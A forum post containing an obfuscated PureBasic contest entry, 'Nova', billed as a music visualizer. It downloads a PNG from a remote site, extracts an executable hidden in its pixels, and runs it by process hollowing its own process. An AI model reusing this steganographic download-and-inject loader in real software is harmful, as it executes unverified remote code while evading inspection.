Code: Select all
;*****************************************************************************
;*
;* PurePunch Contest #4
;*
;* Name : Nova
;* Author : idle
;* Category : PurePunch Crunch | tricky bastard
;* Date : 16/9/2009
;* Notes : READ THE NOTES BEFORE RUNNING
;* : Windows only may not run on x64
;* : Make sure you have saved your work before running
;* : Will download image automatically, may take some time!
;* : Set your recording source to wave out mix and play your favourate song!
;* : run program, click splash screen to continue, right click for controls, esc to end
;* : If you haven't set your recording to wave out mix and only see a black screen
;* : right click the screen and choose the "normal option"
;* : For full instructions on Nova controls Goto http://www.idlearts.com/nova.html
;*****************************************************************************
Macro wp(a,b,c,d,e):WriteProcessMemory_(a,b,c,d,e):EndMacro:Structure K:SN.b[8]
StructureUnion:Pha.l:Vs.l:EndStructureUnion:Va.l:Sr.l:pRd.l:ptrl.l:pln.l:nr.w
nol.w:Cs.l:EndStructure:Structure V:V.K[95]:EndStructure:Structure pinf
hP.i:hT.i:pId:i:TId.i:EndStructure:Procedure R(f,n.s):*idh.IMAGE_DOS_HEADER=f
*s.V:pi.PINF:*n.IMAGE_NT_HEADERS:si.STARTUPINFO:lBA.l:Ctx.CONTEXT:Addr.l
r.l:i.l:CreateProcess_(0,n,0,0,0,4,0,0,@si,@pi):Ctx\ContextFlags=65538
If GetThreadContext_(pi\hT,Ctx):ReadProcessMemory_(pi\hP,Ctx\Ebx+8,@Addr,4,0)
If Not ZwUnmapViewOfSection_(Pi\hP,Addr):*n=f+*idh\e_lfanew:ts=PeekL(*n+52)
tt=PeekL(*n+80):ty=PeekL(*n+84):tz=*n\OptionalHeader:tq=PeekW(*n+6)-1
lBA=VirtualAllocEx_(pi\hP,ts,tt,12288,64):WP(pi\hP,lBA,f,ty,@r):tf=PeekW(*n+20)
*s=tz+tf:For i=0 To tq:WP(pi\hP,lBA+*s\V[i]\Va,f+*s\V[i]\pRd,*s\V[i]\Sr,@r)
Next:WP(pi\hP,Ctx\Ebx+8,@lBA,4,0):te=PeekL(*n+40):Ctx\Eax=lBA+te
SetThreadContext_(pi\hT,Ctx):ResumeThread_(pi\hT):End:EndIf:EndIf:End
EndProcedure:Global *o,q,w=512,h=460,fi.s="http://www.idlearts.com/sn5.png"
If FileSize("sn5.png")=-1:InitNetwork():ReceiveHTTPFile(fi,"sn5.png"):EndIf
UsePNGImageDecoder():LoadImage(2,"sn5.png"):OpenWindow(0,0,0,w,h,"",2147483649)
ImageGadget(1,0,0,w,h,ImageID(2)):*o=AllocateMemory(75264)
StartDrawing(ImageOutput(2)):While a<75264:tb=Point(b%512,(b/512))>>16 &$FF
PokeB(*o+a,tb):a+1:b+4:Wend:StopDrawing():Repeat:WaitWindowEvent()
ea=EventGadget():If ea=1:q=1:EndIf:Until q:If q=1:r(*o,ProgramFilename()):EndIf